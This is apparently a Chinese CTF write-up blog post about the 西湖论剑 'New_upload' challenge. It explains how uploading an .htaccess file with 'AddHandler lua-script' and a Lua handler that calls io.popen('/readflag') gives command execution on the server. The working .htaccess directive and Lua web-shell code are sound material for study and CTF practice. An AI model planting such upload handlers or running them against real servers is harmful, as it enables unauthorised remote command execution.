HacKerQWQ的博客空间

.htaccess上传结合lua脚本执行命令

Word count: 786Reading time: 3 min
2020/10/18 Share

lua语言

介绍:
Lua 是一种轻量小巧的脚本语言,用标准C语言编写并以源代码形式开放, 其设计目的是为了嵌入应用程序中,从而为应用程序提供灵活的扩展和定制功能。
语法学习:
菜鸟教程学习lua

.htaccess

.htaccess是分布式配置文件,作用于当前目录及其子目录
用法参考:
https://hackerqwq.github.io/2020/10/12/htaccess%E7%9A%84%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/
https://mp.weixin.qq.com/s/zhkxabRQ20D7GQXnReco5A

西湖论剑New_upload()


如题,一个文件上传系统
图片码上传失败,应该是检验了文件内容,过滤了php
注意到Whatruns里面可以运行lua脚本,后来听说是OpenResty服务器的效果

参考上面.htaccess的用法,上传.htaccess文件

AddHandler lua-script
然后上网找lua脚本,官网有一个示范脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
example.lua
-- example handler

require "string"

--[[
This is the default method name for Lua handlers, see the optional
function-name in the LuaMapHandler directive to choose a different
entry point.
--]]
function handle(r)
r.content_type = "text/plain"

if r.method == 'GET' then
r:puts("Hello Lua World!\n")
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
elseif r.method == 'POST' then
r:puts("Hello Lua World!\n")
for k, v in pairs( r:parsebody() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
elseif r.method == 'PUT' then
-- use our own Error contents
r:puts("Unsupported HTTP method " .. r.method)
r.status = 405
return apache2.OK
else
-- use the ErrorDocument
return 501
end
return apache2.OK
end

增加

local t = io.popen(“/readflag”)
local a = t:read(“*all”)
r:puts(a)

其中io.popen()可以打开文件并执行命令

  • 原型:io.popen ([prog [, mode]])
  • 解释:在额外的进程中启动程序prog,并返回用于prog的文件句柄。通俗的来说就是使用这个函数可以调用一个命令(程序),并且返回一个和这个程序相关的文件描述符,一般是这个被调用函数的输出结果,这个文件打开模式由参数mode确定,有取值”r”和”w”两种,分别表示以读、写方式打开,默认是以读的方式。

*all表示读取所有的文件内容,*line表示读取一行,*number读取一个数字,<num>表示读取一个不超过num长度的字符
r:puts()用于输出结果
成品:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
require "string"


--[[
This is the default method name for Lua handlers, see the optional
function-name in the LuaMapHandler directive to choose a different
entry point.
--]]
function handle(r)
r.content_type = "text/plain"


if r.method == 'GET' then
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
elseif r.method == 'POST' then
r:puts("Hello Lua World!\n")
for k, v in pairs( r:parsebody() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
elseif r.method == 'PUT' then
-- use our own Error contents
r:puts("Unsupported HTTP method " .. r.method)
r.status = 405
return apache2.OK
else
-- use the ErrorDocument
return 501
end
return apache2.OK
end

.htaccess和lua脚本都上传之后访问地址得到flag

参考链接

https://www.jianshu.com/p/8ec58230633a
https://blog.csdn.net/hasubong/article/details/77964358?utm_source=blogxgwz3
https://mp.weixin.qq.com/s/yvLM8VZnwHiQbwiKnzxPAw

CATALOG
  1. 1. lua语言
  2. 2. .htaccess
  3. 3. 西湖论剑New_upload()
  4. 4. 参考链接